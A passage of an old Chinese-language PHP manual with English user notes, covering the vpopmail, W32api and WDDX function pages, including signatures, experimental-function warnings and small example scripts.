There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_add_domain_ex | 上一级 | vpopmail_add_user


vpopmail_add_user

(4.0.5 - 4.2.3 only, PECL)

vpopmail_add_user -- Add a new user to the specified virtual domain

Description

bool vpopmail_add_user ( string user, string domain, string password [, string gecos [, bool apop]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_add_domain | 上一级 | vpopmail_alias_add


vpopmail_alias_add

(4.1.0 - 4.2.3 only, PECL)

vpopmail_alias_add -- Insert a virtual alias

Description

bool vpopmail_alias_add ( string user, string domain, string alias )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_add_user | 上一级 | vpopmail_alias_del_domain


vpopmail_alias_del_domain

(4.1.0 - 4.2.3 only, PECL)

vpopmail_alias_del_domain -- Deletes all virtual aliases of a domain

Description

bool vpopmail_alias_del_domain ( string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_alias_add | 上一级 | vpopmail_alias_del


vpopmail_alias_del

(4.1.0 - 4.2.3 only, PECL)

vpopmail_alias_del -- Deletes all virtual aliases of a user

Description

bool vpopmail_alias_del ( string user, string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_alias_del_domain | 上一级 | vpopmail_alias_get_all


vpopmail_alias_get_all

(4.1.0 - 4.2.3 only, PECL)

vpopmail_alias_get_all -- Get all lines of an alias for a domain

Description

array vpopmail_alias_get_all ( string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
phpnet at syberisle dot net
09-Aug-2002 07:18
The $key part gives us the alias
i.e. - for .qmail-draxon the alias will hold "draxon"
the $value part gives us another array that houses the content of the .qmail file one array entry per line.

note: even if there is only 1 entry in the .qmail file it will still return an array

$aliases = vpopmail_alias_get_all("syberisle.net");
foreach($aliases AS $key => $value) {
  echo "$key\n";
  foreach($value AS $vkey => $alias) {
   echo "\t=> $alias\n";
  }
}

Enjoy,
Dave L
add a note add a note

后退 | 起点 | 前进
vpopmail_alias_del | 上一级 | vpopmail_alias_get


vpopmail_alias_get

(4.1.0 - 4.2.3 only, PECL)

vpopmail_alias_get -- Get all lines of an alias for a domain

Description

array vpopmail_alias_get ( string alias, string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_alias_get_all | 上一级 | vpopmail_auth_user


vpopmail_auth_user

(4.0.5 - 4.2.3 only, PECL)

vpopmail_auth_user -- Attempt to validate a username/domain/password

Description

bool vpopmail_auth_user ( string user, string domain, string password [, string apop] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_alias_get | 上一级 | vpopmail_del_domain_ex


vpopmail_del_domain_ex

(4.0.5 - 4.2.3 only, PECL)

vpopmail_del_domain_ex -- Delete a virtual domain

Description

bool vpopmail_del_domain_ex ( string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_auth_user | 上一级 | vpopmail_del_domain


vpopmail_del_domain

(4.0.5 - 4.2.3 only, PECL)

vpopmail_del_domain -- Delete a virtual domain

Description

bool vpopmail_del_domain ( string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_del_domain_ex | 上一级 | vpopmail_del_user


vpopmail_del_user

(4.0.5 - 4.2.3 only, PECL)

vpopmail_del_user -- Delete a user from a virtual domain

Description

bool vpopmail_del_user ( string user, string domain )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_del_domain | 上一级 | vpopmail_error


vpopmail_error

(4.0.5 - 4.2.3 only, PECL)

vpopmail_error -- Get text message for last vpopmail error

Description

string vpopmail_error ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_del_user | 上一级 | vpopmail_passwd


vpopmail_passwd

(4.0.5 - 4.2.3 only, PECL)

vpopmail_passwd -- Change a virtual user's password

Description

bool vpopmail_passwd ( string user, string domain, string password [, bool apop] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_error | 上一级 | vpopmail_set_user_quota


vpopmail_set_user_quota

(4.0.5 - 4.2.3 only, PECL)

vpopmail_set_user_quota -- Sets a virtual user's quota

Description

bool vpopmail_set_user_quota ( string user, string domain, string quota )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
vpopmail_passwd | 上一级 | W32api 函数


W32api 函数

PHP 手册
后退 前进

CLII. W32api 函数

简介

本扩展库是用于连接 DLL 的通用扩展 API。它最初是用来允许从 PHP 中访问 Win32 API，不过也可以访问通过其它 DLL 导出的其它函数。

目前支持的有 PHP 的标准类型（string，boolean，float，integer 和 null）以及用 w32api_deftype() 函数所自定义的类型。

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0。

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

需求

本扩展只能工作在 Windows 系统中。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展定义了一种资源类型，用于用户自定义类型。此资源名为 "dynaparm"。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

DC_MICROSOFT (integer)

DC_BORLAND (integer)

DC_CALL_CDECL (integer)

DC_CALL_STD (integer)

DC_RETVAL_MATH4 (integer)

DC_RETVAL_MATH8 (integer)

DC_CALL_STD_BO (integer)

DC_CALL_STD_MS (integer)

DC_CALL_STD_M8 (integer)

DC_FLAG_ARGPTR (integer)

范例

以下例子演示如何得到系统持续运行的时间，并把它显示在一个消息对话框中。

例子 1. 得到系统持续运行的时间，并把它显示在消息对话框中

<?php
// 定义所需的常量，来自
// Visual Studio/Tools/Winapi/WIN32API.txt
define("MB_OK", 0);

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数，来自 kernel32.dll
w32api_register_function("kernel32.dll",
                         "GetTickCount",
                         "long");

// 注册 MessageBoxA 函数，来自 User32.dll
w32api_register_function("User32.dll",
                         "MessageBoxA",
                         "long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs  = floor($ticks / 1000);
$mins  = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
                "\r\n %d Milliseconds, or \r\n %d Seconds".
                "or \r\n %d mins or\r\n %d hours %d mins.",
                $ticks,
                $secs,
                $mins,
                $hours,
                $mins - ($hours*60));

// 显示一个消息对话框，只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
            $str,
            "Uptime Information",
            MB_OK);
?>
目录
w32api_deftype -- 为 w32api_functions 函数定一个类型
w32api_init_dtype -- 创建了一个数据类型的实例，并且将函数传入的值填入其中
w32api_invoke_function -- 带有一个参数的执行一个函数，参数传递在函数名的后面
w32api_register_function -- 从函数库中使用 PHP 注册一个函数 function_name
w32api_set_call_method -- 设置调用的方法

add a note add a note User Contributed Notes
MagicalTux at FF dot st
17-Feb-2005 12:10
Answer to the note posted by me at nullflux dot com (see below)

The Win32 API *does* work in other versions of PHP than between 4.2.0 and 4.2.3. However the documented functions are not available. You will have to use the "win32" class to access functions. For an example, read Philip Soeberg's post just below.
Sami Fouad
24-Nov-2004 07:37
Here is a new link for the official page for the Windows API @ Microsoft's site:

http://tinyurl.com/5mupk
serdar_soydemir at hotmail dot com
31-May-2004 01:34
It seems that this extension will be replaced by FFI extension in PHP5. FFI stands for "Foreign Function Interface" and it's not limited by Windows API, but also supports Linux APIs. You may reach this extension's website at http://pecl.php.net/package/ffi . For Windows, you may try this code from commandline php.exe:

<?php
dl ("php_ffi.dll");

$windows = new ffi ("[lib='user32.dll'] int MessageBoxA( int handle, char *text, char *caption, int type );" );

echo $windows->MessageBoxA(0, "Message For You", "Hello World", 1);
?>
chris at ramsoft dot biz
19-May-2004 02:46
The win32 support appears to be pretty flaky in php. This of course is to be expected with an experimental extension. That being said, if you are having trouble using the win32 functionality you may want to look into creating a PHP extension instead.

We were having some problems interfacing PHP with a 3rd party dll. As such we created an extension which wraps the interface with the aforementioned dll. The solution was surprisingly quick and painless.
Because we use Delphi primarily we found the following extremely useful and easy to use. http://users.chello.be/ws36637/php4delphi.html#download

more info here:
http://php.us.themoes.org/manual/en/zend.creating.php
me at nullflux dot com
20-Apr-2004 07:27
The w32api extension -does not- work on versions of php that are not between 4.2.0 and 4.2.3. This is mentioned on the individual function's manual pages, but not on the extension's main page. Perhaps I'm just missing something, but if you want to interact with the Win32 API via PHP you have to use an outdated version, or just not bother with it at all.
Philip Soeberg
20-Jan-2004 12:09
In response to post by Jan Kleinsorge.

To get the proper windows system uptime, one should use the Performance Monitoring system... GetTickCount is limited to 49.7 days, as the result is a dword.

<?php
if (!dl("php_w32api.dll")) {
  echo "Unable to load php_w32api.dll";
  exit;
}

$api = new win32;
$api->registerfunction("bool QueryPerformanceCounter (float &lpPerformanceCount) From kernel32.dll");
$api->registerfunction("bool QueryPerformanceFrequency (float &lpPerformanceFrequency) From kernel32.dll");

$api->QueryPerformanceCounter($a);
$api->QueryPerformanceFrequency($b);
$c = $a/$b;
$days = floor($c / 86400);
echo gmstrftime("System uptime is $days Days, %H Hr, %M Min, %S Sec<br>", $c);
?>

The above snippet will return the true uptime for an unlimited time for a windows OS. (Disregarding the fact that windows needs reboot every 10 days or so :))
A tiny dange though is the lack of 64bit variable types in php.. (the "float &lpPerformanceCount" should be "long long &lpPerformanceCount") .. Nevertheless.. It works :)

Philip S.
Jan Kleinsorge
03-Jan-2004 09:55
Or google for "win32.hlp". Almost every API-function is listed in there.
Sami Fouad
13-Dec-2003 01:33
http://msdn.microsoft.com/library/ contains functions for use with this extension.

Beware! The menu system is very dense, and confusing at first if you don't know where your going.

Luckily for you I am going to add how to get there in this note. ;)

Windows Development > Development Guides > Windows API > Windows API Reference

Enjoy.
24-Aug-2003 04:42
The small, unofficial documentation is now available here http://wobster.mynnga.de/w32api.txt .
The old link from the post above is dead.

Note that the W32API doesn't seem to be under development anymore. E-Mails to the author stayed unanswered.
If you really have to use it, just some hints here: There are often problems concerning Apache webservers. This extension doesn't seem to work with mod_php.
I used the API on IIS5 with PHP as CGI. Additionally the IUSR_<hostname> (that's the user IIS runs php.exe by default) might need additional rights to be able to call certain API-functions.
silver_dragoon77 at hotmail dot com
28-Jun-2003 03:03
hi

for phpgtk users, who might want to add some sound to their apps, here is the code, assuming ding.wav is in the script's directory

$api = new win32;
$api->registerfunction("long sndPlaySound (string a, int b) From winmm.dll");
$api->sndPlaySound("ding.wav", 0);

you can use the big win32.hlp file containing the win32 api reference to get some other multimedia functions

regards
wobble at gmx dot de
01-Apr-2003 05:09
I played a bit around with the W32API. Here is some code that actually works with the current release of W32API.
The interface changed completely, so all documentation about this extension is out-dated. While the old release
just implemented "plain" functions, the current version offers a class to handle all the API-related operations.
Additionally, functions are now registered using a SQL-like language with a single string.

<?php

$api = new win32;

/*
     BOOL GetUserName(
       LPTSTR lpBuffer,    // address of name buffer
       LPDWORD nSize      // address of size of name buffer
     );
   Returns the current thread's username
   "&" passes argument as "refrence" not as "copy"
*/
$api->registerfunction("long GetUserName (string &a, int &b) From advapi32.dll");

/*
   DWORD GetTickCount(VOID)
   Returns the ms the OS is running
*/
$api->registerfunction("long GetTickCount () From Kernel32.dll");

$len = 255;                  // set the length your variable should have
$name = str_repeat("\0", $len); // prepare an empty string
if ($api->GetUserName($name, $len) == 0)
{
   die("failed");
}

if (!($time = $api->GetTickCount()))
{
   die("failed");
}

echo "Username: $name<br>\nSystemtime: $time<br>\n";

?>

GOOD LUCK !!

Jan Kleinsorge
arunasphp at anm dot org
06-Aug-2002 04:32
In order to use most (perhaps all?) of the win32 API while running with a web server you have to give the server service permission to interact with the desktop.  This is especially noticeable with the given example, where the script will try to display message boxes on the server's display.

Keep in mind, however, that you should think hard about the consequences of letting a web server interact with your desktop, especially if you're not the only one using the web server.
add a note add a note

后退 | 起点 | 前进
vpopmail_set_user_quota | 上一级 | w32api_deftype


w32api_deftype

(4.2.0 - 4.2.3 only)

w32api_deftype -- 为 w32api_functions 函数定一个类型

描述

bool w32api_deftype ( string typename, string member1_type, string member1_name [, string ... [, string ...]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

如果你希望为 win32api 调用定义一个类型，那么你就需要调用 w32api_deftype()函数。这个函数使得到 2n+1 个参数，n 代表该类型有多少个成员。第一个参数是这个类型的名称。在这之后的是这各类型成员的名称（成对出现）。所有的类型名称大小写敏感。内建的类型名称应该使用小写。 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
nospam_ctramen at earthlink dot net
29-Dec-2001 12:01
The variable types appear to be case sensitive, so byte, not BYTE. Also you use string, not CHAR.
add a note add a note

后退 | 起点 | 前进
W32api 函数 | 上一级 | w32api_init_dtype


w32api_init_dtype

(4.2.0 - 4.2.3 only)

w32api_init_dtype -- 创建了一个数据类型的实例，并且将函数传入的值填入其中

描述

resource w32api_init_dtype ( string typename, mixed value [, mixed ...] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

这个函数创建了名为 typename 的数据类型的实例，并且填入了这种数据类型的数据。这种 typename 参数大小写敏感。你给出的值应该和你定义的 w32api_deftype() 类型顺序一致。返回资源的类型则为 dynaparm。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
w32api_deftype | 上一级 | w32api_invoke_function


w32api_invoke_function

(4.2.0 - 4.2.3 only)

w32api_invoke_function -- 带有一个参数的执行一个函数，参数传递在函数名的后面

描述

mixed w32api_invoke_function ( string funcname, mixed argument [, mixed ...] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

w32api_invoke_function() 尝试查找一个注册为私有的函数，名为 funcname 的函数，需要提供传递的参数。返回的类型是你在注册函数时指定的，值则是由函数自身返回的。任何参数的类型可以是 PHP 类型，如果需要还可以使用 w32api_deftype() 函数定义。

add a note add a note User Contributed Notes
ryan at wonko dot com
23-Apr-2002 11:01
As of PHP 4.2.0, this function doesn't appear to do anything useful (nor does it even work). Instead, use w32api_register_function to register your function and then simply call the function you registered just like you would call any normal PHP function. For example, the following snippet will display a standard messagebox:

w32api_register_function("User32.dll",
                         "MessageBoxA",
                         "long");
MessageBoxA(NULL,
           "Hello World!",
           "PHP MessageBox",
           0);
add a note add a note

后退 | 起点 | 前进
w32api_init_dtype | 上一级 | w32api_register_function


w32api_register_function

(4.2.0 - 4.2.3 only)

w32api_register_function -- 从函数库中使用 PHP 注册一个函数 function_name

描述

bool w32api_register_function ( string library, string function_name, string return_type )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

这个函数尝试在 libary 中查找一个名为 function_name 的函数并且尝试把它导入 PHP。这个函数将使用 return_type 类型被注册。这个类型可以是一个标准的 PHP 类型，或者使用 w32api_deftype() 函数定义类型。所有的名称大小写敏感，内建的函数使用小写字母。 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
w32api_invoke_function | 上一级 | w32api_set_call_method


w32api_set_call_method

(4.2.0 - 4.2.3 only)

w32api_set_call_method -- 设置调用的方法

描述

void w32api_set_call_method ( int method )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

这个函数设置了调用方法的类型。参数内容可以是 DC_CALL_CDECL 或 DC_CALL_STD 中的一种。此扩展的默认值是 DC_CALL_STD。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
w32api_register_function | 上一级 | WDDX Functions


WDDX Functions

PHP 手册
后退 前进

CLIII. WDDX Functions

简介

These functions are intended for work with WDDX.

需求

In order to use WDDX, you will need to install the expat library (which comes with Apache 1.3.7 or higher).

安装

After installing expat compile PHP with --enable-wddx.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

All the functions that serialize variables use the first element of an array to determine whether the array is to be serialized into an array or structure. If the first element has string key, then it is serialized into a structure, otherwise, into an array.

例子 1. Serializing a single value with WDDX

<?php
echo wddx_serialize_value("PHP to WDDX packet example", "PHP packet");
?>

This example will produce:

<wddxPacket version='1.0'><header comment='PHP packet'/><data>
<string>PHP to WDDX packet example</string></data></wddxPacket>

例子 2. Using incremental packets with WDDX

<?php
$pi = 3.1415926;
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "pi");

/* Suppose $cities came from database */
$cities = array("Austin", "Novato", "Seattle");
wddx_add_vars($packet_id, "cities");

$packet = wddx_packet_end($packet_id);
echo $packet;
?>

This example will produce:

<wddxPacket version='1.0'><header comment='PHP'/><data><struct>
<var name='pi'><number>3.1415926</number></var><var name='cities'>
<array length='3'><string>Austin</string><string>Novato</string>
<string>Seattle</string></array></var></struct></data></wddxPacket>

注: If you want to serialize non-ASCII characters you have to convert your data to UTF-8 first (see utf8_encode() and iconv()).

目录
wddx_add_vars -- Add variables to a WDDX packet with the specified ID
wddx_deserialize -- 别名 wddx_unserialize()
wddx_packet_end -- Ends a WDDX packet with the specified ID
wddx_packet_start -- Starts a new WDDX packet with structure inside it
wddx_serialize_value -- Serialize a single value into a WDDX packet
wddx_serialize_vars -- Serialize variables into a WDDX packet
wddx_unserialize -- Unserializes a WDDX packet

add a note add a note User Contributed Notes
npac at nospam dot spikesource dot com
26-Apr-2005 09:31
Contrary to a note on this page, the "datetime" type is actually supported by PHP. It turns out that the parser expects the type to be encoded exactly as <dateTime>. The string comparison is case sensitive - which means that if the WDDX packet contains <datetime> or <DATETIME>, then that particular var will simply be ignored.

Of course, this can easily be worked around to replace all <datetime> and </datetime> tags in the WDDX package with <dateTime> and </dateTime> tags before passing it on to the wddx_deserialize() function.
Jimmy Wimenta
16-Jul-2004 08:53
PHP's WDDX is useful only for exchanging data between PHP applications, but definetly not for exchanging data between different languages (which actually defeats the purpose of WDDX).

For example:

$hash1 = array ("2" => "Two", "4" => "Four", "5" => "Five");
$hash2 = array ("0" => "Zero", "1" => "One", "2" => "Two");

$hash1 will be serialized as hash, but
$hash2 will be serialized as array/list, because the key happen to be a sequence starting from 0.

Unless the library provide a way for users to specify the type, it can never be used for cross-platform data exchange.
Q1tum at hotmail dot com
21-Nov-2003 09:08
To insert arrays into a wddx variable here is a fine way to do it:

<?php

$sql = 'SELECT * FROM example';
$query = mysql_query($sql, $db) or die(mysql_error());

while($result = mysql_fetch_array($query)) {
   $id[] = $result[ 'id'];
   $name[] = $result['name'];
   $description[] = $result[$prefix . 'description'];
}

mysql_free_result($query);

wddx_add_vars($packet_id, "id");
wddx_add_vars($packet_id, "name");
wddx_add_vars($packet_id, "description");

$wddxSerializeValue = wddx_packet_end($packet_id);

?>
pierre dot jeunejean at adnexus dot be
26-Sep-2003 08:11
This is, to me, a nice way to solve the date problem.
In this example, we use a custom Date Object to store a date.
We show the serialized value in a textarea. We unserialize the packet and then we loop trough the returned array to get each element value and the data type of each of those values.

Here is the code, and after it its ouptut:

<?PHP
class Date {
   var $date = null;

   function Date ($date) {
       $this->date = $date;
   }
}

$textValue = "Per idem tempus annorum.";
$numberValue = 23;
$booleanValue = true;
$null = null;
$dateValue = new Date('22/03/2003');

$packet_id = wddx_packet_start();

wddx_add_vars($packet_id, "dateValue");
wddx_add_vars($packet_id, "textValue");
wddx_add_vars($packet_id, "numberValue");
wddx_add_vars($packet_id, "booleanValue");
wddx_add_vars($packet_id, "null");

$wddxSerializeValue = wddx_packet_end($packet_id);

echo("<FORM><TEXTAREA rows=15 cols=80>" .
       $wddxSerializeValue .
   "</TEXTAREA></FORM>");

$wddxDeserialize = wddx_deserialize($wddxSerializeValue);

foreach ($wddxDeserialize as $key => $value) {
   if(is_object($value)) { //checks if the value is an object
       $valueType = get_class($value); //gets the NAME of the class, so the type of the current value
       $value = $value->date; //gets the value of the date property of the current Date Object
   } else {
       $valueType = gettype($value);
   }
   echo("Value = " . $value . "&nbsp;&nbsp;&nbsp;(Value type = " . $valueType . ")<br>");
}
?>

<wddxPacket version='1.0'>
<header/>
<data><struct>
<var name='dateValue'><struct>
<var name='php_class_name'><string>date</string></var>
<var name='date'><string>22/03/2003</string></var>
</struct></var>
<var name='textValue'><string>Per idem tempus annorum.</string></var>
<var name='numberValue'><number>23</number></var>
<var name='booleanValue'><boolean value='true'/></var>
<var name='null'><null/></var>
</struct></data>
</wddxPacket>

Value = 22/03/2003  (Value type = date)
Value = Per idem tempus annorum.  (Value type = string)
Value = 23  (Value type = integer)
Value = 1  (Value type = boolean)
Value =    (Value type = NULL)
12-Sep-2003 10:29
wddx isn't 100% perl compatible .. I have an wddx file infront of me and it only works with php so better don't use it
pointsystems.com, sbarnum
04-Sep-2002 01:11
a good FAQ on WDDX can be found here:
http://www.macromedia.com/v1/handlers/index.cfm?id=5622&method=full
bradburn at kiwi dot de
30-Jul-2002 10:02
With ref to the above comment about typing, I have found that -- oddly enough -- PHP's WDDX supports the following WDDX types: null, boolean (true/false), number and string, *but* not date-time.

as an example, use the following values in an array that you then serialize:

$number = 5,
$null = NULL,
$bool = true,
$string = 'this is a string'.

they will all serialize correctly, e.g. the third entry comes out as:

<var name='bool'><boolean value='true'/></var>

i have tried with the 'official' format for WDDX 'datetime', e.g. '1998-9-15T09:05:32+4:0' (from the DTD @ http://www.openwddx.org/downloads/dtd/wddx_dtd_10.txt)  but have only succeeded in getting this encoded as a 'string' type.

if anyone else has any more information on this, it would be welcome. i would like to store the variables in 'appropriate' fields in a database, and the fact that only datetime is not supported is slightly irritating -- otherwise it would be a very useful function.
philip at thepr()jects dot ()rg
17-Nov-2000 05:32
Tutorial here :

XML and PHP. Part 1: Using the WDDX functions
http://www.phpbuilder.net/columns/jesus20000402.php3
djm at web dot us dot uu dot net
02-Mar-2000 07:50
Here's a rewrite of the deserializing Perl code that uses variable names consistently with the serializing example.  Sorry for any confusion....
<PRE>
#!/usr/bin/perl

use WDDX;

open(FP, "<cities.wddx");
undef $/;                      # Slurp the whole file.
$packet = <FP>;
close(FP);

$wddx = new WDDX;
$packet_id = $wddx->deserialize($packet);
$value = $packet_id->as_hashref();

print "pi is:<br>" . $value->{"pi"} . "<p>\n";
print "cities is:<br>\n";
$key = 0;
foreach $val (@{$value->{"cities"}}) {
   print "$key => $val<br>\n";
   $key++;
}
</PRE>
djm at web dot us dot uu dot net
02-Mar-2000 07:36
I think it would be helpful for passing data between languages to show a direct translation of the above examples into Perl, using WDDX.pm 1.00 from CPAN.  It took me awhile to figure out.  To serialize:
<PRE>
#!/usr/bin/perl

use WDDX;

$wddx = new WDDX;
$packet_id = $wddx->struct({});

$pi = 3.1415926;
$packet_id->set("pi" => $wddx->number($pi));

# Suppose @cities came from database
@cities = ("Austin", "Novato", "Seattle");
$packet_id->set("cities" => $wddx->array([map $wddx->string($_), @cities]));

$packet = $wddx->serialize($packet_id);

open(FP, ">cities.wddx");
print FP $packet;
close(FP);
</PRE>
<P>
To deserialize:
<PRE>
#!/usr/bin/perl

use WDDX;

open(FP, "<cities.wddx");
undef $/;                      # Slurp the whole file.
$packet = <FP>;
close(FP);

$packet_id = new WDDX;
$wddx_obj = $packet_id->deserialize($packet);
$value = $wddx_obj->as_hashref();

print "pi is:<br>" . $value->{"pi"} . "<p>\n";
print "cities is:<br>\n";
$key = 0;
foreach $val (@{$value->{"cities"}}) {
   print "$key => $val<br>\n";
   $key++;
}
</PRE>
djm at web dot us dot uu dot net
20-Oct-1999 04:30
The PHP WDDX module encodes all scalars as strings in the XML packet, due to PHP's loose typing.  The current Perl WDDX module takes a different approach, requiring the caller to mark each variable with a type.  This is helpful if the reader of the packet is a more strongly typed language that distinguishes between string, int, float, and bool; but it's more cumbersome to use than the PHP approach.  The Perl module is hard to find right now; its home page is:
<br>
<a href="http://www.scripted.com/wddx/">http://www.scripted.com/wddx/</a>
djm at web dot us dot uu dot net
19-Oct-1999 11:45
Since there aren't any examples of reversing the process, here's one. If you had the packet produced by the above example (without the htmlentities() call), you could retrieve the values like this:

<pre>
$value = wddx_deserialize($packet);
print "pi is:<br>" . $value["pi"] . "<p>\n";
print "cities is:<br>\n";
while (list($key, $val) = each($value["cities"])) {
   print "$key => $val<br>\n";
}
</pre>

which outputs:

<pre>
pi is:
3.1415926

cities is:
0 => Austin
1 => Novato
2 => Seattle
</pre>
yzhang at sfu dot ca
26-May-1999 03:29
To make these examples work, you'll probably want to format the output with a call to htmlentities:

$pi = 3.1415926;
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "pi");

/* Suppose $cities came from database */
$cities = array("Austin", "Novato", "Seattle");
wddx_add_vars($packet_id, "cities");

$packet = wddx_packet_end($packet_id);
print htmlentities($packet);
add a note add a note

后退 | 起点 | 前进
w32api_set_call_method | 上一级 | wddx_add_vars


wddx_add_vars

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_add_vars -- Add variables to a WDDX packet with the specified ID

Description

bool wddx_add_vars ( int packet_id, mixed name_var [, mixed ...] )

wddx_add_vars() is used to serialize passed variables and add the result to the packet specified by the packet_id. The variables to be serialized are specified in exactly the same way as wddx_serialize_vars().

add a note add a note User Contributed Notes
maciek at webenlinea dot com
06-Sep-2004 02:20
Here is a simple way of serializing dynamic values from an array:

<?PHP
//a unix timestamp
$date    = "1094095513";

//some data to be included
$books  = array('programming'  => array('php','perl','java'),
               'markup'        => array('UML','XML','HTML')
               );

//stick data to an array to iterate over
$data_to_serialize = array($date,$books);

//create the packet
$packet = wddx_packet_start("SOME DATA ARRAY");

//loop through the data
foreach($data_to_serialize as $key => $data)
{
  //create a var whith the name of the content of $key
  $$key = $data;
  wddx_add_vars($packet,$key);
}

echo wddx_packet_end($packet);

?>

Have fun !
add a note add a note

后退 | 起点 | 前进
WDDX Functions | 上一级 | wddx_deserialize


wddx_deserialize

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

wddx_deserialize -- 别名 wddx_unserialize()

说明

本函数是该函数的别名： wddx_unserialize().

add a note add a note User Contributed Notes
dave at codexweb dot co dot za
21-Jan-2006 08:40
Here's a handy wddx_deserialize clone I wrote a while back. It uses PHP5 SimpleXML and recursion to do pretty much the same task as wddx_deserialize. Hope it comes in handy for someone.

<?php

if (!function_exists('wddx_deserialize'))
{
   /**
     * Clone implementation of wddx_deserialize
     */
   function wddx_deserialize($xmlpacket)
   {
